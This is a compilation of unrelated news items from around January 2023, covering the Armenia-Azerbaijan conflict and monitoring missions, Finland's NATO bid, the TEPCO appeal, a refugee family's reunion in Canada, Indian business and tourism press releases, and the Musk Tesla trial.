Armenian female soldiers in the hands of the Azerbaijani armed forces were subjected to inhuman treatment. The bodies of all female prisoners were tortured. These clips were seen by the children of these women as well. The remains of these women have never been handed over to the Armenian side, she noted.

During Azerbaijan's September aggression, several Armenian women were tortured and killed by the Azerbaijani military. The Azerbaijani soldiers then dismembered and brutally mutilated the bodies, and the clips were posted on social media, garnering approving comments from their compatriots.

"I draw your attention to the atrocities committed by Azerbaijani Armed Forces units and the Azerbaijani military in our combat positions against our servicemen, including female servicewomen," Edward Asrian, Chief of the General Staff of the Armed Forces of the Republic of Armenia, said at a meeting with foreign ambassadors in Jermuk City a few days after the aggression. He invited the ambassadors to watch the video after the briefing.
Minister of Territorial Administration and Infrastructure of Armenia Gnel Sanosyan and director of Corporacion America Airports Martin Eurnekian have discussed cooperation issues.

Sanosyan noted the importance of the existing cooperation and the company's readiness to further develop the programs and expand investments in Armenia, the press service of the RA Ministry of Territorial Administration and Infrastructure informed NEWS.am.

Issues related to the expansion and increase in the capacity of Zvartnots International Airport were discussed during the meeting.

The Minister noted that a working group with the participation of representatives of different departments will be set up in the near future to discuss the details of the investment program. He mentioned the importance of making accurate decisions within the framework of the program and the need to find future-oriented solutions, as these works are oriented to the future.

In turn, Ernekian said they are willing to work openly within the working group.

During the meeting, the sides also discussed other issues of bilateral interest.




Finland has hinted for the first time that it may join NATO without waiting for Sweden, after its neighbor encountered further resistance from Turkish President Recep Tayyip Erdogan, Bloomberg reports.

The path chosen by Foreign Minister Pekka Haavisto, if implemented, would mark a significant shift in Finland's policy after the Nordic countries jointly applied in May to join the North Atlantic Treaty Organization. Faced with persistent objections from Turkey, the two Nordic countries have so far insisted on considering their applications jointly.

It remains to be seen to what extent Finland will change its approach. The position remains that the two countries should join NATO at the same time, given security concerns, Haavisto told reporters in Helsinki, tempering comments made earlier in the day when he said Finland might have to prepare to go it alone.

Turkey and Hungary are the only two of the 30 NATO members that have yet to ratify the bids. The day before, Erdogan ruled out supporting Sweden's bid after an extreme right-wing Chevda activist burned a Quran in Stockholm. In response to his comments, U.S. officials reiterated their support for NATO expansion.

Erdogan's comments raised a new level of doubt about Sweden's prospects for joining the alliance, as the Turkish leader did not specify whether he was ready to change his position. With elections scheduled for May, Erdogan is seeking the support of religious conservatives.

Turkey suggested considering Finland's bid separately at the beginning of the process because it had no serious problems with Helsinki, but the idea was opposed by both the Nordic countries and NATO Secretary-General Jens Stoltenberg, said two Turkish officials, who spoke on condition of anonymity.

They said Turkey is largely happy with Helsinki's cooperation with Ankara, which will affect Turkey's decision.

Joining NATO without Sweden, Haavisto said, would leave a large area in Finland's rear area outside the alliance, which could jeopardize supply routes and NATO's ability to provide Article 5 security guarantees. It would also entail winding down some military cooperation that has developed between the two countries over the years.
TOKYO, Jan. 24 (Xinhua) -- Lawyers acting as prosecutors Tuesday appealed to the Supreme Court against an acquittal for three former executives of Tokyo Electric Power Company Holdings Inc. (TEPCO) who were accused of failing to prevent the 2011 disaster at the Fukushima Daiichi nuclear plant.

The lawyers took action after the Tokyo High Court dismissed their appeal against a Tokyo District Court ruling that acquitted former Chairman Tsunehisa Katsumata, and former Executive Vice Presidents Ichiro Takekuro and Sakae Muto, of charges of professional negligence resulting in death and injuries.

Last week, the high court said it was "reasonable" for the district court to conclude that the three could not have anticipated a tsunami the size of the one that knocked out the key cooling functions at the Daiichi nuclear power plant and caused core meltdowns.

After being hit by the devastating earthquake and tsunami that occurred in March 2011, the facility in northeastern Japan experienced an unusual triple meltdown.

The high court upheld the lower court's decision and stated that the former executives could not have foreseen the enormous wave since a long-term evaluation by a government agency was not trustworthy. 
Photo: Gordon Edgar

The breakout of civil war in Syria during the 2011 Arab Spring uprisings forced Mazen Alomar and his family to flee their country, and over 12 years went by before the family was reunited in Moose Jaw last October.

I met Mazen, his father Hatim Alkutayn, and his brother-in-law Vasim at the Moose Jaw Public Library to hear an update from him after writing his story in Nov. 2021.

In 2011, Mazen was working as a military policeman in Homs. He had no intention of fighting in a war, however, and when his superiors offered him a discharge, he took it eagerly. He went home to Idlib, only to be informed by rebel forces there that he would have to fight, after all.

His father obtained a passport for him, and he fled to Jordan.

The plan at that point was for the entire family to eventually reunite in Jordan. But Jordan stopped accepting refugees, and Mazens parents and sisters went to Turkey instead.

Mazen started a family in Jordan, and although they kept in touch through the internet, his parents had never met his wife and children in person. His sisters also married and had children in Turkey.

Seven years ago, Mazen and his wife were offered the chance to leave their refugee status in Jordan and settle permanently Canada. At first, Mazen was dismayed and reluctant. He did not know where Canada was, he spoke no English, and he wondered if moving to Canada might not make it more difficult to bring his family back together.

He is now a Canadian citizen, his English is quite good, and in October 2022 his father and mother, and his sister and her family arrived in Moose Jaw from Turkey.

As Mazen translated, his father Hatim said he was happy to be in Moose Jaw.

We came here from a dangerous place, he said. It was not safe there, and now we are in our new country, and we are safe now, finally.

People here are friendly, and everything is good. And finally, we can meet all our kids and our kids can be together, like they were before. We did not think we would ever see our son anymore.

On behalf of their family, Hatim and Vasim thanked the Canadian government for making a place for them. They also thanked the United Church of Canada for its sponsorship and, in particular, Jim and Jennifer Tenford. Jim Tenford was the pastor at St. Andrews United Church until he and his wife moved to Regina last fall.

The Tenfords opened their home to refugees, babysat for Mazen while he looked for a job and worked, and were instrumental in helping him with the paperwork to bring the rest of his family.

You will mention (the Tenfords), yes? Mazen asked with a smile. I think maybe they dont want, but I dont know how we can thank them (enough), because they help us with everything  applications, language, the culture.  They help us to bring them here, they help us when they arrive, to find a house for them.

Not only because of their church, you know? But because they are just (good).

There is now one sister remaining in Turkey with her husband and children. Mazen and his family will continue to work with the United Church and the Canadian government to bring her to Moose Jaw.
French President Emmanuel Macron hosted Ara Toranian and Mourad Papazian, co-chairmen of France's Coordination Council of Armenian Organizations at the Elysee Palace.



Co-Chair of the Coordinating Council of French-Armenian Organizations Ara Toranian spoke to NEWS.am about the importance of the meeting, noting that the hosting of the French-Armenian community representatives at the presidential level takes place only in France.



He said that the Coordinating Council of Armenian Organizations has established close relations with the French government since the presidencies of Chirac, Sarkozy and Hollande, and the organization is present all over the country, includes all the Armenian organizations of the country, and is closely represented in all the systems of the country.



"Macron knows very well about the situation in Armenia and Nagorno-Karabakh, every year he or his representative comes to a reception organized by us. Macron previously spoke about the inadmissibility of leaving Armenians alone and promised to help. Now it is time to move from words to deeds. We think that France must help the people of Nagorno-arabakh and prevent the deepening of the humanitarian crisis under blockade and in the conditions of shortage of food and medicine. Such assistance can also have a certain political impact," said the Co-Chairman of the Coordinating Council of Armenian Organizations.



He believes that France must become even more active on the ground as well as at the diplomatic level.



"We are waiting for news. We expect news this week or next week. Hopefully something will happen. We have stated that the situation is difficult and the world needs to do more. Azerbaijan wants to isolate the Armenians from the world, but we ourselves must isolate Azerbaijan and leave it alone in the world. France can help the Armenians together with other countries. Paris can find common ground with Americans and even Russians in this matter," Toranian stressed.



When asked if France is ready to provide military or serious economic support to Armenia in case of need, our interlocutor replied: "Why not? If steps are taken against Armenia, I do not think that France and not only France will sit and allow Armenia to be in a difficult situation. Right now all the aid goes to Ukraine, but the issue of Armenia also has an important place for France."



Aram Danielyan
The CSTO continues working on a monitoring mission to be sent to Armenia on the border with Azerbaijan, CSTO spokesman Vladimir Zaynetdinov told RBC.



According to him, after Armenian Prime Minister Nikol Pashinyan made such a request to the CSTO, the Collective Security Council (CSC, the organization's highest body) developed a draft decision "On joint measures to assist the Republic of Armenia."



"In addition to providing Yerevan with other support," this would involve sending a temporary CSTO monitoring mission to the Armenian-Azerbaijani border and determine the size, mandate and timing of such a mission. The draft "is at a high level of readiness, but the document could not be adopted at the last session of the CSTO Collective Security Treaty Organization." "Work on it continues. Once the approval procedure is completed, the draft will be submitted for consideration by the organization's statutory bodies," Zaynetdinov noted, saying that it was premature to name specific numbers and timelines now.



"The decision about which the CSTO representative speaks was agreed at the organization's summit with the participation of heads of state in Yerevan in November. At that time, Pashinyan refused to approve the declaration of the Collective Security Council. The reason was that the allies refused to give a political assessment of Azerbaijan's actions against Armenia. Russian Foreign Minister Sergey Lavrov said at a Jan. 18 press conference that sending a mission should not be linked to Baku's condemnation. "If we are talking about condemnation, rhetoric, stating positions, then everyone is free to do whatever he wants. But if we want to send a CSTO mission, it is not conditioned by outward signs and tough statements," the minister said.



At the same time, on January 23 Foreign Ministers agreed to send a long-term monitoring mission to Armenia on the border with Azerbaijan. This is the second such decision. Before that, after Azerbaijani and French Presidents Ilham Aliyev and Emmanuel Macron, European Council President Charles Michel and Pashinyan met in Prague in early October, 40 civil experts were sent to the border from the Armenian side. They worked there for two months, until December 19. The current mission will begin tentatively in February and will last two years.



Moscow was not happy with such a development. Thus, Lavrov commented on Yerevan's agreements with Brussels on January 18, saying that the CSTO could have sent its mission to the border. "Nevertheless, despite the fact that we are allies and that the mission is fully ready, the Armenian side prefers to negotiate with the European Union for a civilian observer mission to be deployed there on a long-term basis," he said. This is Armenia's right, summed up the Minister, but the activity of experts needs consent of Azerbaijan, otherwise it "will be counterproductive" and "instead of confidence building on the border <...> may create additional irritants," the publication says.
The latest Saturday Night Live episode had two comedic skits that featured a cast-member playing Republican Congressman George Santos.

While channel-surfing a few nights earlier, I found two different comedians playing the same role on Jimmy Kimmel Live and The Late Show With Stephen Colbert. Both comedians pretended to be in the House of Representatives in Washington answering ridiculous questions from the talk-show hosts.

With the world of politics in such a chaotic state everywhere, a little silly humour is welcome, especially from Washington, so often the epicentre of global turmoil.

Many will have heard of Santos, when it was revealed he won his seat in last Novembers congressional elections despite having told the voters a multitude of lies. His phoney claims about where he received his education, where he had been employed, his heritage and ethnicity, his wealth and property ownership, his mothers death on 9/11 and other outrageous fallacies were all laid out in a New York Times article just before Christmas.

Since then, Santos has taken his seat in Congress and was appointed to the Small Business Committee and the Science, Space and Technology Committee.

Believe it or not, there are many further indiscretions and revelations about his bizarre lifestyle prior to getting elected causing the recent late night media attention. Along with all the jokes and jibes from aforementioned comedians, Real Time With Bill Maher looked deeper into the sad, sorry, seamy, sleazy, sordid, sickening, salacious Santos saga.

Maher has been my favourite comedian and satirist for about 30 years, when his former show Politically Incorrect became a late-night staple for almost a decade. He makes no secret of supporting Democrats, even donating US$1-million to Barack Obamas re-election campaign in 2012. But he doesnt simply pile scorn on Republicans as other talk-show hosts do. He also takes Democrats to task, while always disparaging their wokeness.

On his most recent show, he cleverly summarized how easily such a completely phoney candidate as Santos could be elected. Quite simply, said Maher, he got votes from Republicans by falsely claiming to be a successful luxury yacht broker who attended the Capitol insurrection on Jan. 6. 2021.

While to Democrats, who love identity politics and victimhood, he gained trust by untruthful claims to be Jewish, half-Black and a brain tumour surviver. So he told all the voters exactly what they wanted to hear, as politicians always do, and satisfied each political party that he was their best choice.

It happens in every democracy, not just in America. Parties and supporters are so convinced in their own tribal bubble of beliefs, and become oblivious of what happens in the real world.

Mr. Santos refined whats been going on in politics for ever, and won his seat by being the consummate liar.

Bernie Smith, Parksville
The EU Monitoring Mission to Armenia (EUMA) may include representatives of non-EU third countries, according to the European Council's decree on sending a new Monitoring Mission to Armenia.



It is noted that without affecting the decision-making autonomy of the EU and its unified organisational structure, third countries may be invited to contribute to the Mission on condition that they bear the costs of their seconded personnel, including salaries, all-risk insurance, per diem and travel expenses to and from Armenia, and contribute to the Mission's operating costs, as appropriate.



The Mission is reported to consist mainly of staff seconded by Member States, EU institutions or the European External Action Service.



In exceptional cases, in duly justified cases where qualified candidates from member states are not available, third-country nationals may be hired on a contractual basis, depending on the circumstances.



More than 8 million has been allocated for the first four months of the mission.



The strategic objective of the EUMA is to help reduce incidents in the conflict affected and border areas of Armenia, to reduce the risks for the population living in such areas and thereby contribute to the normalisation of relations between Armenia and Azerbaijan.



To this end the Mission will promote confidence-building between Armenia and Azerbaijan in ways which maintain its credibility as an impartial interlocutor by:



(a) monitoring through routine patrols and reporting on the situation on the ground and any conflict-related incidents to ensure detailed awareness of the security situation;



(b) contributing to the safety of persons in areas affected by conflict, in particular by gathering information through special patrols and reporting situations where, because of the direct or indirect effects of the conflict, lives and basic human rights are threatened;



(c) through its activities under (a) and (b) and through its continuous and visible presence on the ground, helping to build confidence between the populations of Armenia and Azerbaijan and, where possible, between the authorities of these countries, in support of peace and stability in the region, the decree states.
Following the 10th anniversary of Miami Law's Investor Rights Clinic, Scott A. Eichhorn has taken over the reins as director after a stretch as acting director.

At the clinic, Eichhorn supervises and teaches student interns the substantive law and practical skills necessary to handle securities arbitration and mediation cases before the Financial Industry Regulatory Authority. FINRA is the self-regulatory organization that administers the largest forum for the arbitration of securities claims in the United States. Arbitration is the most widely used means of resolving disputes in the securities industry.

Over the past decade, the clinic has conducted more than 500 intakes, opened 107 client matters, and recovered more than $1.4 million for 67 clients.

The Investor Rights Clinic is a one-semester clinic staffed by second and third-year law students representing under-served investors in securities arbitration claims against their brokers. The clinic provides a resource to individuals of modest means who have suffered investment losses as a result of broker misconduct but, due to the size of their claim, cannot find legal representation. The clinic, which does not charge attorney's fees, is funded by a grant from the FINRA Investor Education Foundation and Miami Law.

"What a privilege it is to continue the important work of the Investor Rights Clinic," said Eichhorn, who started at the clinic as associate director. "I'm excited and honored to keep working with our incredible students and staff and advocating for the protection of investors at a time of rapid evolution in the securities markets."

Eichhorn was recently the subject of a cover story in Wealth Management magazine, "Lost in Arbitration," focusing on how pro-bono law clinics, like Miami Law's, serve small clients and low-value claims that help keep the brokerage industry honest. He also published an article in the Public Investors Arbitration Bar Association Bar Journal in October 2022. He spoke on it at PIABA Securities Law Seminar in San Antonio, Texas, the same month.

Eichhorn joined Miami Law in 2012 after a seven-year stint in private practice specializing in securities litigation in state and federal courts and FINRA arbitration.

"Scott Eichhorn has been an important part of our Investor Rights Clinic for a long time." said David Yellen, dean and M. Minnette Massey Professor of Law. "I'm delighted that he will now be leading the clinic, which provides a great educational experience for our students and valuable legal assistance to its clients."

Read more about Miami Law's clinics
The Reserve Bank of India (RBI) has imposed a monetary penalty of Rs 26 lakh on Nutan Nagarik Sahakari Bank, Ahmedabad for non-compliance with certain directions of the central bank. This penalty has been imposed in exercise of the powers vested in RBI conferred under the Banking Regulation Act, 1949, the central bank said. This action of the central bank is based on a deficiency in regulatory compliance and is not intended to pronounce upon the validity of any transaction or agreement entered into by the bank with its customers. The statutory inspection of the bank conducted by RBI with reference to its financial position as on March 31, 2020, and examination of the risk assessment report and all related correspondence pertaining to the same revealed that the bank failed to pay interest at the rate applicable to saving deposits on certain overdue recurring and fixed deposit accounts at the time of their repayment and had issued ATM-cum-debit cards to certain cash credit account holders, according to a statement released on Monday evening. In furtherance to the same, a notice was issued to the bank advising it to show cause as to why the penalty should not be imposed for non-compliance with the RBI directions. After considering the bank's reply to the notice, additional submissions made by the bank and the oral submissions made during the personal hearing, the central bank said it came to the conclusion that the charge of non-compliance with the aforesaid RBI directions were substantiated and warranted imposition of monetary penalty, to the extent of non-compliance with such directions. (ANI)
Mumbai (Maharashtra) [India], January 24 (ANI/NewsVoir): The Bhutan Tourism Council announced its participation in South Asia's Travel and Tourism Exchange (SATTE) 2023 in India to promote Bhutan tourism and increase awareness of Bhutan's renewed focus on the sustainability of the tourism sector. SATTE is Asia's leading tourism exhibition that offers a comprehensive platform to domestic and international buyers and professionals from across the travel, tourism, and hospitality industry. Bhutan, a sovereign nation throughout its history is shrouded in an enigmatic aura of mystery, mysticism, and spirituality. A Buddhist kingdom, Bhutan is perched high in the Himalayas and renowned for its mountains and monasteries, rich biodiversity, pristine forests, rivers, glacial lakes, waterfalls and striking natural beauty. Most importantly, it is loved by visitors for the welcome that its people extend to them. The only country in the world that uses the happiness of its people as a guiding principle that underpins everything, Bhutan is notably one of the very few carbon-negative countries in the world (in 2021, Bhutan sequestered 9.4 million tonnes of carbon against its emission capacity of 3.8 million tonnes). SATTE, an enabling platform for the industry is well-supported by the Ministry of Tourism, the Government of India, and National and International Tourism Boards. Bhutan Tourism will be using this opportunity to showcase new itineraries and create awareness around its new national brand identity 'Believe'; a campaign that inspires a new vision of the future to its citizens. "Believe" is reflective of Bhutan's character and landscapes, history and ambitions, which are bold, vivid, richly storied and utterly distinctive. Carissa Nimah, Chief Marketing Officer, Department of Tourism, Bhutan, says, "Bhutan is already an incredibly alluring destination, yet it has so many layers to be revealed and shared., Removed from the humdrum and hectic, Bhutan is proof that happiness, connection, respite and revelation are our birthright. Restoring one's sense of belief is the kingdom's real gift to its visitors. The nation itself believes in a better future, led by wisdom from its past - a belief it is manifesting daily. Bhutan is honored to be part of SATTE 2023, and we look forward to reconnecting with our Indian travelers and partners." Bhutan is an all-year-round destination where every season has something to offer to everyone, from hiking through the pristine nature, sightseeing tours, helicopter tours, adventure, fresh harvests, stunning textiles, festivals and hot stone baths. The Department of Tourism will be accompanied by 14 exhibitors from Bhutan. These include 5 hotels and 9 tour operators: - dusitD2 Yarkay - Thimphu- Druk Hotel - Thimphu- Bhutan Peaceful Residency & Spa - Thimphu- Zhiwa Ling Heritage Hotel - Paro- Druk Deothjung Resort - Trashigang- Purely Bhutan- REN Tours & Treks- Heavenly Bhutan Travels- Excursion to Himalayas- Routes and Journeys- Bhutan Tshelha Tours and Travel- Amen Bhutan Tours & Treks Pvt. Ltd.- AHKE Adventure Travel- Sacred Himalaya Travel Bhutan Tourism invites you to be part of its belief in preserving and nurturing our beautiful planet whilst falling in love with the world's happiest nation. Visit the Bhutan Tourism showcase at booth no C88 at SATTE, Delhi from February 9th to 11th. Bhutan Tourism is responsible for the development and promotion of sustainable tourism in Bhutan. It works to share the Kingdom's remarkable places, people and experiences with conscious travelers, guided by the principles of high-value, low-volume tourism. For more information, please visit: bhutan.travel. This story has been provided by NewsVoir. ANI will not be responsible in any way for the content of this article. (ANI/NewsVoir)
Colgate-Palmolive (India) on Tuesday posted profit after tax at Rs 243.2 crore for the third quarter (October-December), against Rs 252.3 crore for the same quarter of the previous year. The firm also reported net sales of Rs 1,281.2 crore for the quarter ended December 31, 2022, which is 0.8 per cent growth over the same quarter of previous year. Domestic sales growth reported for the quarter ended December 31, 2022 is 2.3 per cent. During the nine months till December 2022, net sales of the company was recorded at Rs 3,846.2 crore, an increase of 1.9 per cent over the same period of the previous year. Net profit for the period was reported at Rs 730.9 crore, according to a company statement shared with exchanges. Prabha Narasimhan, Managing Director, Colgate-Palmolive (India) Limited, said, "The Company is focussed on its key strategic pillars of building oral care habit in India, driving innovation and renovation through science led products and premiumisation." In this quarter, the MD said the company partnered with the Andhra Pradesh government to kick-off the Oral Health awareness programme of 'Bright Smiles Bright Futures'. He said this initiative was recently kick-started from a school in the Nellore district, where the company will work with the state government to educate children on oral health and build awareness on saying 'No' to tobacco. "Continuing with our long-standing relationship with dentists in India and with the ever present push on digitisation, Colgate has launched an e-commerce platform; a first that is exclusively for dentists - dentistfirst.co.in to enable them access to specialty Colgate products that will be directly delivered to their clinics," the MD said on Tuesday. (ANI)
Hyderabad (Telangana) [India], January 24 (ANI/NewsVoir): As the world is moving towards a sustainable future by adopting EV technologies, the Government of Telangana is all set to host the Hyderabad E-Mobility Week from 5th-11th February 2023, which will showcase global leaders, eminent academicians, business leaders and policymakers discussing the future of sustainable mobility. The week will also showcase the global EV ecosystem and provide a platform for the world to witness the strengths & capabilities of the global electric vehicle industry, along with significant international participation. Speaking about the E-Mobility week, Shri K.T. Rama Rao, Minister for IT E&C, MA&UD and Industries & Commerce said, "With the Hyderabad E-Mobility week, Telangana is all set to showcase its prowess in the EV segment to the world. We were one of the first states to launch the electric vehicle and energy storage policy and the state, being a pioneer in adopting sustainability also aims to be an attractive investment destination in the EV segment." "As Telangana drives the faster adoption of electric vehicles, it aspires to be not just self-sufficient, but also a global hub for electric vehicles and energy storage systems' manufacturing. We are delighted to host the E-Mobility Week in our state," added Shri Rama Rao. Shri Jayesh Ranjan, Principal Secretary, Industries & Commerce (I&C) and Information Technology (IT), Govt. of Telangana said, "Telangana has created a friendly environment for the domestic and global EV companies to come and set up their base in the state and the Hyderabad E-Mobility week resonates with the govt's vision of spearheading the electric vehicle revolution in the country.'' The key events during Hyderabad E-Mobility Week will include -: RALL-E HYDERABAD (5th February 2023) - The Hyderabad e-Mobility Week will kick off with RALL-E HYDERABAD, a first-of-its-kind EV rally where thousands of EV enthusiasts including male and female drivers will be riding their 2/3/4 wheelers electric and buses to spread the message of sustainable mobility and the depth of EV adoption in the city. Separate rallies will also be started from Bengaluru and Pune they will culminate in Hyderabad simultaneously. Mobility Next Hyderabad (6th February 2023) - The sustainable mobility summit will be held at the Hyderabad International Convention Centre and will showcase global leaders, eminent academics, and policymakers discussing the future of sustainable mobility. The event will feature a mix of activities such as panel discussions, keynote speeches, and networking sessions by prominent stakeholders in the global sustainable mobility ecosystem. Many eminent industry leaders including Bhavish Aggarwal (Founder & CEO, Ola), Suman Mishra (CEO, Mahindra Electric), Tarun Mehta (Co-Founder & CEO, Ather), Prabhjeet Singh (President, Uber India South Asia), Christian Cahn von Seelen (Executive Director, SKODA Auto Volkswagen India), Kamal Bali (President & MD, Volvo Group India), and Arina Cosac (Head of Climate Change Policy, British High Commission New Delhi) among others will be attending the summit. CASE StartUp Challenge (7th February 2023) - The Government of Telangana has initiated a grand challenge inviting Indian start-ups to showcase innovative, viable and scalable solutions in Connected, Autonomous, Shared and Electric (C.A.S.E.) mobility. For participating in the challenge, the start-up should register and submit their presentations within the timelines on the Grand Challenge website. Registration for the StartUp challenge has started. Hyderabad E-Motor Show 2023 (8th - 10th February 2023) - As part of the Hyderabad e-Mobility Week, the city will be hosting one of the first EV expos in India - Hyderabad E-Motor Show 2023 which will be organised at the Hitex Exhibition Centre and will include the widest collection of electric vehicles, charging infrastructure and energy storage solutions. The Hyderabad E-Motor show will see the unveiling & launch of many e-vehicles by top automobile companies. While Mahindra will be showcasing Pininfarina Battista, Stellantis NV will be launching its Citroen eC3 car. The motor show will also see the launch of India's 1st unique EV skateboard MULA by Urban Sphere along with the launch of Quantum Energy's electric vehicle Plasma (2W). The show will also feature other launches, events, and innovations in the sector. Hyderabad E-Prix (10th - 11th February 2023) - The much-awaited Hyderabad E-Prix, the first-ever formula E-race in India, will take place over two days. Formula E is the premier electric single-seater racing series in the world governed by the Federation Internationale de l'Automobile (FIA). Some of the fastest single-seater e-cars, Global OEMs, 11 of the most competitive constructors, and 22 of the fastest drivers in the world would be participating in the E-Prix. Telangana is one of the first states in India to launch a progressive Electric Vehicle & Energy Storage Systems Policy as it has a growing technology footprint which also welcomed numerous global IT players to the state. Through policy and infrastructure support, Telangana aims to be one of the top destinations in the world for EV and Battery innovation, manufacturing and sales. The state has also attracted investments from key EV companies such as Fisker, Olectra, Hyundai, Biliti Electric and ZF Group. The E-Mobility week is supported by top industry names like Mahindra, Ola, Volvo, Amara Raja batteries, CII and Uber among others. Several exclusive launches of electric vehicles featuring celebrities, industry & business leaders and other dignitaries will also be held during the week. This story has been provided by NewsVoir. ANI will not be responsible in any way for the content of this article. (ANI/NewsVoir)
New Delhi [India], January 24 (ANI/PNN): Keeping the theme of 'Desh Ki Sehat, Desh Ka Namak' at its core, Tata Salt, a pioneer and market leader in India's branded iodized salt segment, has launched a nationwide Republic Day campaign called Desh Ke Liye #HarSawaalUthega. With its 360-degree approach, the campaign aims to empower children by providing them with a one-of-a-kind platform to raise questions that could spark relevant conversations and nudge societal change. As a run-up to Republic Day, the campaign has gone on-ground and aims to engage with students across India covering states like Maharashtra, Punjab, Haryana, Gujarat, Chennai, Karnataka, U.P and Rajasthan among others states. The on-ground event was successfully conducted in Pune city in Suryadatta National School along with attendance of more than 200 students. Some pertinent questions were raised by the students including "How can more girls become IPS officers?", "How can I keep my city Pune- Pollution free?" amongst others. Another pertinent question raised by children of Pune were "Why are periods a taboo?". The discussion following this question raised an immediate impact with the school authorities confirming that conversations on topics will be encouraged more freely and responsibly in the school premise. These questions were answered by our dignitaries viz. Shweta Shalini, Spokesperson of BJP Maharashtra and former Advisor to Deputy Chief Minister, Maharashtra, Santosh Gayke, DSP, Pune Police & Sanjay Chordiya, President - Suryadatta Educational Group. 300 exhilarating questions were raised by the students and the 50 best questions were chosen and shortlisted for the event. The jury also awarded 3 best students from the batch of 50 with books. All the students who participated in the event were praised by TATA Salt and were provided with participation certificates. As part of the campaign, Tata Salt will organize city-wide events across India covering private and government schools educing 30,000+ students and giving them a platform to raise their questions. TATA SALT will reward selected students based on their questions which will be shortlisted by a jury comprising of Policy Makers, Educationists, School Management, Police Officers, Celebrities and Bureaucrats. Commenting on the launch of the campaign, Deepika Bhan, President, Packaged Foods- India, Tata Consumer Products, states, "Children can really reframe our thinking! They question what we are willing to accept as status quo and that challenge forces change. Desh ke liye #HarSawalUthega is a platform that endeavours to surface these real questions. We've received such insightful, provocative questions already and are enthused with the awareness and change the next generation is willing to imagine. Tata Salt is one of India's most trusted brand, and we definitely want to partner this journey of fuelling an entire generation of kids to raise their questions and contribute to a better tomorrow." Shweta Shalini, Spokesperson of BJP Maharashtra and former Advisor to the Deputy Chief Minister, Maharashtra stated "I would like to thank The Social Lab (TSL) for inviting me to this event. We thank Tata Salt for organizing such an innovative campaign and TSL for its execution. The campaign not only provides a stage for the students to gain confidence and question the normal but also pushes everyone to observe everything closely and seek answers to such questions" Santosh Gayke, DSP mentioned "I would like to congratulate TATA Salt for organizing this event and TSL for inviting me to be a part of the panel. Interventions like these instill a sense of confidence in children and promote curiosity, more such events should be organized by responsible corporates like Tata Salt". Sahil Arora, CEO, TSL said "We are proud to partner with TATA Salt on this noble and innovative initiative, we look forward to invigorating questions from the students. The questions asked by students are thought-provoking and touch upon several social issues." C.A. Adesh Gupta, Director (Advisory Board), TSL stated "We are delighted by the response we have received for this program not only from the schools but our dignitaries who have had a fantastic time answering these questions. Such programs should be conducted more often to build the confidence of children" This story is provided by PNN. ANI will not be responsible in any way for the content of this article. (ANI/PNN)
Photo: BANG Showbiz

Elon Musk returned to the stand for a third day Tuesday in federal court in San Francisco to testify in a trial stemming from a class action lawsuit brought by Tesla investors who allege he misled them with a tweet.

The 51-year-old billionaire resumed his staunch defense centering on two 2018 tweets indicating testified the day before that he lined up the money to take Tesla private under the friendly questioning of his own lawyer, Alex Spiro.

While being grilled Monday by an attorney representing Tesla shareholders, Musk at times was combative, indignant and exasperated. Through it all, Musk has insisted he had locked up financial backing for what would have been a $72 billion buyout of Tesla during 2018 meetings with representatives from Saudi Arabias Public Investment Fund, although no specific funding amount or price was discussed.

When presented with texts and email indicating that a representative for the Saudi fund had never pledged the money for a full buyout of Tesla, Musk colorfully contended it was nothing more than the words of someone trying to backpedal from a previous pledge made in private conversations.

He also testified that he could have easily sold some of his holdings in SpaceX, a rocket ship maker that Musk also owns, to pay for a Tesla buyout  a tactic that he hadn't publicly floated at the time he proposed the deal.

In the class action lawsuit, Tesla investors allege Musk, who has since taken Twitter in a $44 billion buyout, misled them with a tweet saying funding was secured to take his electric car company private  for $420 per share. But the deal never came close to happening, and the tweet resulted in a $40 million settlement with securities regulators.

The trial hinges on whether a pair of tweets that Musk posted on Aug. 7, 2018, damaged Tesla shareholders during a 10-day period leading up to Musk's admission that the buyout he had envisioned wasnt going to happen. The statements resulted in Musk and Tesla to reach the $40 million settlement without acknowledging any wrongdoing.

In the first of the 2018 tweets, Musk stated funding secured for what would have been a $72 billion  or $420 per share  buyout of Tesla at a time when the electric automaker was still grappling with production problems and was worth far less than it is now. Musk followed up a few hours later with another tweet suggesting a deal was imminent.

Musk said Monday that it was important for jurors to know that he felt that funding was secured due to his ownership of SpaceX stock alone."

Just as I sold stock in Tesla to buy Twitter. ... I didn't want to sell Tesla stock but I did sell Tesla stock, he said of the sale to make up for lack of funding from other sources for his $44 billion deal to take Twitter private. Musk sold nearly $23 billion worth of his car companys shares between last April, when he started building a position in Twitter, and December.

My SpaceX shares alone would have meant that funding was secured, Musk said of the 2018 tweets.

Musk has previously contended he entered into the Securities and Exchange Commission settlement under duress and maintained he never wavered in his belief that he had the money necessary to do a deal.
The first-ever India Stack Developer Conference, to be held in the national capital on Wednesday, will dwell on ways and means to ensure wider adoption of India's digital goods at the global level. According to a release by the Union Ministry of Electronics and IT, the conference will be attended by over 100 digital leaders from the industry, government, start-ups and unicorns, and academia. Delegates from G20 countries and G20 Secretariat have also been invited to the conference. Briefing reporters about the event, Union Minister of State for Electronics and Information Technology, Rajeev Chandrasekhar, said it will provide a platform for Industries and the developer community to explore ways to develop a robust start-ups and innovation ecosystem within the country and also take India Stack products to other countries. India Stack is a multi-layer cluster of digital solutions -- Aadhaar, UPI, Digi Locker, Co-Win, GeM, GSTN -- and has played a key role in India's digital transformation. "Post Covid, India has emerged as a preeminent nation in the use of technology for development and governance at a population scale. Our focus is now on to broaden the dissemination of our digital goods within the country and widen their adoption outside," the minister was quoted as saying in the release. The minister added that India Stack will be one of the focus areas at the upcoming World Government Summit 2023, which is to be held in Abu Dhabi next month. (ANI)
